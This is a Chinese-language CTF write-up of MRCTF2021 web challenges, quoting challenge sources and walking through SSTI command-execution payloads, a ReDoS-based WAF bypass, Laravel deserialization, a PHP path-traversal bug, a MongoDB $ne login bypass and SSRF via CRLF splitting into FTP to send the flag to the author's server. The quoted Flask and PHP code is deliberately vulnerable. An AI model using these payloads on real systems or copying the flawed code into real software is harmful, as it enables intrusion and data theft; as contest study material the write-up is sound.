这比赛的 WP 我一定要写,复现我也一定要写,北邮天璇排面
真的感谢北邮天璇师傅们的精彩奉献,办赛确实不易,平台很好,质量比去年的题目高了不少 level,经典《学到很多.jpg》
一开始说是新生赛,参考了一下去年的,问题应该不是很大,恰好忙着搞毕设,没打,别的小伙伴用我之前注册的账号去打了一下,结果告诉我打傻了,签到都不会,👴寻思着不至于吧,进去看了一眼
妙啊
题目质量真的高嗷,这就是新生赛🐎?I了I了,签到题差点给👴整不会了,菜鸡 Web 手最后的挣扎
等官方 Web 的 wp 等了一周多了……
来了来了:MRCTF2021 Web方向Wp
1.签到:
群里 @bot 回复一段码,一开始没看明白是啥东西,后来群里有老哥提示零宽隐写,放到 linux 下,vim 打开一看确实嗷

CSDN 搜了一下,放到那几个网站下发现都不行,offdev 那个也打不开,没办法上那个老哥的 github 上找了一段源码,本地下了一个 node.js 然后 install 个包,直接本地执行
const ZwspSteg = require('zwsp-steg');
let encoded = '@LND_Web 叮咚!你的好大儿zbr向你发送了签到码,请注意查收:jTQZp99TMYVPwJRjyKkDG/JJULeAwc0ujgDFYZUZNr6pGAEsrOCysay7PEhVLPK32+HWuJjyP4RIkHeZ9RqLYOJwS/IA4c/EbVAmVW2MDhSQ/ftKbrHQ+4DUxH2XnAnZ';
let decoded = ZwspSteg.decode(encoded);
console.log(decoded);

看这意思,AES 在 ECB 模式下的 Zero 填充,密钥是 QQID,但是我 QQ 号是 10 位的,密钥至少要 16 位,直接用 0 填充,然后信心满满的到在线加解密去解,结果前几个全 gg,👴心态都崩了,最后终于找到一个可以解的

微信公众号发过去就可以

妙啊
2.wwwafed_app:
赛后出的,比赛的时候一直在搞那个签到注入,真的是一言难尽……
这个 SSTI 还好,没弹 shell,直接打的,但是根目录下没找到 flag,可能要匹配吧,懒得匹配了,反正知道怎么做了
图是后来的

检测域名存活,以为是个 SSRF,然后看了一眼 /waf
import re,sys
import timeout_decorator
@timeout_decorator.timeout(5)
def waf(url):
# only xxx.yy-yy.zzz.mrctf.fun allow
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
if re.match(pat,url) is None:
print("BLOCK",end='') # 拦截
else:
print("PASS",end='') # 不拦截
if __name__ == "__main__":
try:
waf(sys.argv[1])
except:
print("PASS",end='')
有个正则匹配判断是否,本来没什么的,但是有个 timeout_decorator
模块的引入,以前没见过,搜了一下发现是个超时处理模块
这就有意思了,正则匹配我们知道有匹配失效的情况,如果输入的内容使得正则匹配时间过长,那么应该就会从 try 进入 except 处理
一开始这样的:

但是过长就是这样的:

因为是 python,所以随手测了个 {{7*7}}

妙啊,成了
没过滤,直接出 {{().__class__.__bases__[0].__subclasses__()}}

有很多可利用的类,但是想着快点,直接 {{lipsum.__globals__['os'].popen('ls').read()}}
上去了,结果提示超时,想着单引号可能被过滤了,直接切双引号,打过去就行
{{lipsum.__globals__["os"].popen("ls /").read()}}

但是木得 flag,有个 zbr,里面是 “hao da er” 迷茫中……,好像被某个小可爱🤭删掉了
另:有个 /source 里面有源码,可以看出来 SSTI,我是 SB
from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
@app.route("/waf")
def wafsource():
return open("waf.py").read()
@app.route("/source")
def appsource():
return open(__file__).read()
@app.route("/api/spider/<url>")
def spider(url):
url = base64.b64decode(url).decode('utf-8')
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()
if block == "PASS":
try:
req = requests.get("http://"+url,timeout=5)
return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
return Template("访问{}失败!".format(safeurl)).render()
else:
return Template("WAF已拦截,请不要乱输入参数!").render()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)
3.easy_larave1:
这个应该是签到的类型,基本上可以用五空的直接打
经典反序列化代码审计,直接手撸源码 www.zip
在 laravel.log 里可以看到是 5.7 的版本,TaskController.php 中存在反序列化的点

老链子,先找 run()
,果然被处理了

再找一下,发现在 run()
方法里有个变量 $key
需要找

直接去 public 下的 txt 文件

没显示,全局搜索,在 session 下看到

接下来就是找利用点的事了,因为底部的入口被注释掉了,所以可以参考去年的第五空间那道题,代码没变动,直接打就行

为什么在 /hello 下,是因为 routes 里写了

啊,对了,exp 用的 zeroyu 师傅博客里的
4.web_check_in:
这题真绝了,提示给了要盲注,没想出来怎么搞,看着 Troy3e 师傅的 wp 先复现一下:
md 复现不出来,注入那部分跑死了也出不来,等官方
官方来了,带个 PWN,麻了,真麻了,做非预期解吧,预期太痛苦了

笛卡尔积盲注可以注出文件的内容,先是 shell.php
<?php
if($_POST['M2cTf']){
mrctf($_POST['M2cTf']);
}
传一下试试看,有两种回显


第一个回显里提示了另一个文件夹 /Kanto,里面有东西,但是直接访问的话是那个啥,我忘了那个神奇宝贝叫啥了
然后读一下 hint.php
<?php
require "sum.php";
$check = $_POST['check'];
$command = $_POST['command'];
if ($check == enc("MRCTF2021")){
if (strlen($command < 5)){
$path = "/proc/self/".$command;
$myfile = fopen($path,"r") or die("Unable to open file!");
echo fread($myfile,400000);
fclose($myfile);
}
}
if (strlen($command < 5))
非预期在这里,出题人可能手抖,括号打歪了,$command < 5
是 true,strlen(true)
是 1,所以这里可以直接穿越目录,往回打到根目录下拿 flag
这也是 ITroyeSivan 师傅的解决思路
还有个 sum.php,本地搭个环境跑一下就可以,最后写个脚本直接打 /hint.php

5.Half-Nosqli:
给的提示其实不少,就是之前没怎么接触过这些东西,上次看到 MongoDb 的注入都两年前的事了😓
因为是 Swagger,所以直接访问 /docs

在 auth 下有两个接口,/login 会返回一个 JWT,看一下格式是 JSON

根据提示,存在注入,利用 $ne
发包过去,可以用 1 也可以用 true,也可以是空字符串 “”

得到 token 后,利用 /home 打 SSRF

因为 JWT 附带时间戳,所以写个 Python 脚本方便点,试个网址打过去可以得到网站内容
后面就是考察 CRLF 的注入,打 FTP 服务器
具体原理可以参考:通过拆分攻击实现的SSRF攻击
用 \u010D\u010A
代替 \r\n
,同时空格也要处理 \u0120
FTP 部分的命令参考:FTP协议完全详解
Eki 师傅的出题笔记里写的很清楚了:在不知道账号密码的情况下使用匿名模式登录,USER 为 anonymous
密码随意,切换到 files
文件夹后打开主动传输模式,使用 PORT
和RETR
向 vps 发送 flag
发送请求,这里根据 docker-compose.yml
给出的内容知道 ftp 的 hostname 为 ftp
,同时 ftp://
不能直接用,用 http://
代替
payload 直接参考就可以
0 条评论